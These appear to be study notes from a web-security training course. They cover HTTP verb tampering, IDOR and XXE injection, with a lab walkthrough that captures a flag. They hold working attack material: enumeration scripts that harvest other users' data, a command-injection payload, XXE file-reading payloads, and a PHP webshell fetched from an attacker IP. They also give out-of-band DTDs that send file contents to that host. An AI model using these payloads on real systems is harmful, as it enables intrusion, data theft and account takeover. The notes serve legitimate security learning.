-
HTTP verb tampering attack exploits web servers that accept many HTTP verbs & methods
-
HTTP has 9 verbs that can be accepted as HTTP methods by web servers; common ones include
GET
,POST
,PUT
andDELETE
-
If webapp or backend server is not configured securely to manage these methods, we can use them to gain control over backend server:
-
Insecure web server configurations - a web server's authentication config may be limited to specific HTTP methods, which would leave some HTTP methods accessible without authentication, leading to authentication bypass; can be easily detected using automated tools
-
Insecure coding - occurs when specific filters are applied in code to mitigate particular vulnerabilities, while not covering all HTTP methods with that filter; automated scanners can sometimes miss these types of vulnerabilities since it is caused due to human error
-
-
Bypassing basic authentication:
-
For given test app, we have a file manager web app - we can create files but we cannot delete anything since it is restricted to authenticated users only; since we don't have creds for the HTTP basic auth, we get a
401 Unauthorized
page -
First, identify which pages are restricted by this authentication - in this case, it is
/admin/reset.php
, or rather the/admin
directory itself, since we get the prompt again on accessing the directory -
Intercepting the request to this page or directory shows that the HTTP request method being used here is
GET
-
We can attempt to send a
POST
request to check if webpage allowsPOST
requests (in Burp Suite, right-click > Change Request Method) - this also gives us401 Unauthorized
-
This shows that the web server config covers both
GET
&POST
requests, but we need to test with all other HTTP methods -
We can start with
HEAD
- similar toGET
but does not return the body in HTTP response -
Check with
OPTIONS
request to see which HTTP methods are accepted:curl -i -X OPTIONS http://83.136.254.223:59165 # this should include accepted methods under 'Allow' # for some reason, I was not getting it as intended, so I had to run this curl -i -X OPTIONS http://83.136.254.223:59165/admin/reset.php.
-
We can see that
HEAD
,GET
,POST
, andOPTIONS
are allowed -
If we intercept the reset request on Burp Suite and change from
POST
toHEAD
, we get a blank page instead of the401 Unauthorized
page -
If we go back to the web app, we can see the files have been deleted
-
-
Bypassing security filters:
-
For the given example web app, if we try to create a filename with special characters in its name, we get 'Malicious Request Denied' message - this indicates webapp is using certain filters to deny injection attempts
-
We can try to intercept the above request in Burp Suite and change the request method to something other than default - this time we do not get the denied message and our file is created
-
We can test this further using command injection payloads, e.g. -
file 1; touch file2;
- and then change the request method; if both files are created, that means we were able to bypass filter through HTTP verb tampering vulnerability
-
-
Verb tampering prevention:
- Avoid restricting authorization to a particular HTTP method and always allow/deny all HTTP verbs; or use safe functions. We can also disable/deny
HEAD
requests - Be consistent with use of HTTP methods and expand testing scope in security filters by testing all request params
- Avoid restricting authorization to a particular HTTP method and always allow/deny all HTTP verbs; or use safe functions. We can also disable/deny
-
IDOR (Insecure Direct Object References) occurs when webapp exposes direct reference to an object which can be controlled by end-user; these attacks can lead to accessing other users' data, often due to improper access control
-
IDOR vulnerabilities can also lead to elevation of user privileges with IDOR insecure function calls
-
Identifying IDORs:
-
URL parameters & APIs:
- check for object references (e.g. -
?uid=1
or?file=notes.txt
) - can be found in URL params, APIs, or other HTTP headers - we can try incrementing the values of the object references to get other data - use fuzzing tools
- check for object references (e.g. -
-
AJAX calls:
- check for unused params or APIs in frontend code, in the form of JS AJAX calls
- identify AJAX calls to specific endpoints or APIs that contain direct object references
-
Understand hashing/encoding:
- webapps can use encoded or hashed values instead of simple sequential numbers as object references
- identify from source code or from online tools (like CyberChef, hash identifier tools, etc.)
-
Compare user roles:
- register multiple users and compare their HTTP requests and object references
- possible for one user to have access to certain API calls while other users don't
-
-
Mass IDOR enumeration:
-
for given webapp, logging in as employee shows parameter
uid=1
in URL -
in the documents page, we have many documents with predictable naming patterns - filename,
uid
and month/year as part of filename -
this type of IDOR vulnerability is called static file IDOR
-
if we check by changing the
uid
in URL as well, we do not notice any difference in page output, but the linked files are different this time -
for mass IDOR enumeration, start by crafting a command to fetch only the documents using regex; following which we can create a simple script to loop over
uid
and fetch documents of all employees:curl -s "http://example.com/documents.php?uid=3" | grep -oP "\/documents.*?.pdf" # fetch the filename in such a way that it can be appended in URL to access it
#!/bin/bash url="http://example.com" for i in {1..10}; do for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do wget -q $url/$link done done
-
-
Bypassing encoded references:
-
under the Contracts section in given webapp, we can see the downloaded filename includes some encoded/hashed string
-
while the filename downloaded at the end includes MD5 hash of '1' (indicating
uid
1), the intercepted request includes different data which cannot be easily decoded -
we can check the source code however for the function being used to download contract
-
the source code shows that the value being hashed is
btoa(uid)
, which is converted to MD5 hash; this can be replicated:echo -n 1 | base64 -w 0 | md5sum # the flags are added to prevent newlines
-
then, we can write a script for mass enumeration:
#!/bin/bash for i in {1..10}; do for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do curl -sOJ -X POST -d "contract=$hash" http://example.com/download.php done done
-
-
IDOR in insecure APIs:
-
IDOR insecure function calls enable us to call APIs or execute functions as another user
-
for given webapp, when we edit our profile and update it, it persists through refreshes - indicating a DB
-
the intercepted request shows that the app is sending a
PUT
request to a certain API endpoint -
the JSON parameters being sent includes data like
role
(user access privileges) -
we can try to modify the parameters like changing
uid
orrole
-
we can change the
uid
as well as the API endpoint from '/1' to '/2' to avoid a 'uid mismatch' message -
we can try changing from
PUT
toPOST
to create users (orDELETE
to delete users), but we get error message saying it is for admins only -
we can find the valid role names by sending a
GET
request to fetch other users' details - this will allow us to identify valid roles, which can be used later to modify other users' data
-
-
Chaining IDOR vulnerabilities:
-
as we have an IDOR information disclosure vulnerability found from
GET
requests sent, we can similarly usePUT
requests for given webapp to modify other users' data -
one possible attack is modifying a user's email address and then requesting a password reset link - allowing control over their account
-
script to enumerate all users:
#!/bin/bash url="http://83.136.253.251:51240" api="/profile/api.php/profile" for i in {1..10}; do curl -sb "role=employee" $url$api/$i | jq done
-
this gives us the data for the admin user as well; this shows us the admin role name as well, which can be used to create new users or delete current users
-
-
IDOR prevention:
- object-level access control
- strong object referencing
-
XXE (XML External Entity) injection is similar to other injection attacks; malicious XML data is injected to read local files on server or even RCE
-
XML (eXtensible markup language) - used for storing data & documents; XML documents are formed of element trees, where each element is denoted by a tag, with first element being root element and others are child elements
-
If we need to use characters used in XML document structure, like
<
,>
,&
and"
, as part of the actual document then we need to use their entity references like<
,>
,&
, and"
-
XML DTD (Document Type Definition) - allows validation of an XML document against a pre-defined document structure; this can be placed within the XML document itself, in an external file and then referenced or even referenced through a URL
-
XML entities - we can define custom entities using
ENTITY
keyword in XML DTDs; it can be referenced in a document between an&
and;
-
We can also reference external XML entities with the
SYSTEM
keyword, followed by the external entity's path:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY company SYSTEM "http://localhost/company.txt"> <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt"> ]>
-
When the XML file is parsed on the server-side, then an entity can reference a file stored on the back-end server, which may be disclosed to us when we reference the entity
-
Local file disclosure:
-
for the given web app, we have a contact form; if we intercept the request on sending data, we can see the form data is sent in XML format:
<?xml version="1.0" encoding="UTF-8"?> <root> <name>test</name> <tel>2312313123</tel> <email>[email protected]</email> <message>test</message> </root>
-
if the webapp uses outdated XML libraries and does not apply any filters or sanitize our XML input, we can exploit this to read local files
-
we need to note which elements are being displayed, so that we can inject into them; in this example the
email
data is being displayed on submitting -
try to define a new entity and then use it as a variable in the
email
entity to check if it replaces the value - we need to add the following after the first line in XML input (ifDOCTYPE
was already declared here, we just add theENTITY
):<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]> <root> <name>test</name> <tel>2312313123</tel> <email>&company;</email> <message>test</message> </root>
-
a non-vulnerable web app would display
&company;
as a raw value, but here we got the value of entity - indicating we can inject XML code -
for certain webapps which send requests in JSON format, we can try changing the
Content-Type
header toapplication/xml
and convert JSON to XML - if webapp accepts XML data, we can check for XXE vulnerabilities -
now, since internal XML entities worked, we can check for external XML entities:
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]>
-
this works, and we can read local files like
/etc/passwd
orid_rsa
for certain users which can be used to get access to server -
we cannot read certain files if they're not in proper XML format; for those cases, we can try using wrapper filters to encode in base64, so that it does not break the format (this works only with PHP webapps):
<!DOCTYPE email [ <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
-
for RCE, one way is by fetching a webshell from our server and writing it to web app; this requires the PHP
expect
module to be installed and enabled ($IFS
is used for spaces to avoid breaking XML format):echo '<?php system($_REQUEST["cmd"]);?>' > webshell.php sudo python3 -m http.server 80
<!DOCTYPE email [ <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'10.10.120.10/webshell.php'"> ]>
-
-
Advanced file disclosure:
-
Advanced exfiltration with CDATA:
-
to output data that does not obey XML syntax, we can wrap it with
CDATA
tags; and this can be used with XML parameter entities (start with%
, used only within DTD):echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd # store this in a DTD file in our machine and host it python3 -m http.server 8000
<!DOCTYPE email [ <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag --> <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file --> <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag --> <!ENTITY % xxe SYSTEM "http://10.10.120.10:8000/xxe.dtd"> <!-- reference our external DTD --> %xxe; ]> <root> <name>test</name> <email>&joined;</email> <!-- reference the &joined; entity to print the file content --> </root>
-
-
Error based XXE:
-
this can be used if webapp displays runtime errors with improper exception handling for XML input
-
we can test by sending malformed XML data - delete any closing tag, misspell one of the tags or reference a non-existing entity
-
if webapp displays error, we can exploit it to exfiltrate file content:
<!-- host this DTD file on our machine --> <!ENTITY % file SYSTEM "file:///etc/hosts"> <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!-- call the external DTD script and reference the error entity --> <!-- no need to add any other data --> <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://10.10.120.10:8000/xxe.dtd"> %remote; %error; ]>
-
-
Blind data exfiltration:
-
Out-of-band (OOB) data exfiltration can be used in case of blind XXE vulnerabilities; the webapp will send a request to our web server with the content of the file to be read
-
first, use a parameter entity for file content, using PHP base64 filter; then we can create another external parameter entity (referring to our IP) and place the
file
parameter value as part of the URL. Once we inject the required payload in the request, we should see the decoded content in shell:<!-- host this DTD file on our machine --> <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.120.10:8000/?content=%file;'>">
# create a script that automatically decodes the base64-encoded content and prints to terminal <?php if(isset($_GET['content'])){ error_log("\n\n" . base64_decode($_GET['content'])); } ?>
vim index.php # write the above PHP script and host it php -S 0.0.0.0:8000
<!-- payload to be used in request --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://10.10.120.10:8000/xxe.dtd"> %remote; %oob; ]> <root>&content;</root>
-
this process can be automated with the help of tools like XXEInjector:
git clone https://github.com/enjoiz/XXEinjector.git # intercept and copy HTTP request to file vim req.txt # edit the request # do not include full XML data, only keep the first line and then write XXEINJECT in next line as a position locator ruby XXEinjector.rb --host=[10.10.120.10] --httpport=8000 --file=req.txt --path=/etc/passwd --oob=http --phpfilter # --path flag for file to be read # all exfiltrated files will be stored in the Logs folder
-
-
-
XXE prevention:
- avoid outdated components
- use safe XML config
-
For the webapp, we can login using given creds; we can start exploring the app
-
In settings, we have option to change password
-
If we intercept the request to our profile page after logging in, we can see that an API call to the endpoint '/api.php/user/74' is made, where '74' is the value of our 'uid'; cookies 'PHPSESSID' and 'uid' are also used with their values
-
In response to this GET request, we get user details; furthermore, if we change the uid in API endpoint as well as cookie, we can get other users' data
-
We can attempt to enumerate further users and store the data in a file:
#!/bin/bash url="http://94.237.62.195:47625" api="/api.php/user/" for i in {1..100}; do curl -sb "PHPSESSID=a3rv802fb28gf4ano0ldqlqg6u;uid=$i" $url$api/$i | jq >> userdata.txt done
-
We do not get anything useful from this data as there are no admin users to be found yet
-
However, for uid '52', we can see that the 'company' is 'Administrator' - we can try to check more info for this user by intercepting the request to '/profile.php' again and modifying the 'uid' to '52'
-
Now we can view the info for this user; but we do not have any difference in functionality
-
We can try an approach to reset the password for users, since we have the working code of reset functionality
-
Using HTTP verb tampering, we can try bypassing authentication and/or reset password functionality by changing the request from
GET
toPOST
orGET
toHEAD
-
The latter seems to work as we can change the request method from
POST
toGET
for '/reset.php', and by configuring the required 'uid' of '52', we are able to change the password -
After logging as this Administrator user, we can see an added functionality of 'Add Event' in '/event.php'
-
Viewing the source code shows that XML data is accepted here - we can check for XXE vulnerabilities
-
Sending a legit request shows that the tag 'name' is printed in response
-
Basic XXE injection methods seem to work - when we use this payload we get the value "Test" in response:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name [ <!ENTITY xxe "Test"> ]> <root> <name>&xxe;</name> <details>event</details> <date>2024-04-09</date> </root>
-
We can now test with different payloads to check this further - like
<!ENTITY xxe SYSTEM "file:///etc/hosts">
- but we are unable to read the flag file using this format -
We can use the base64 filter payload
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
- this prints the flag which can be decoded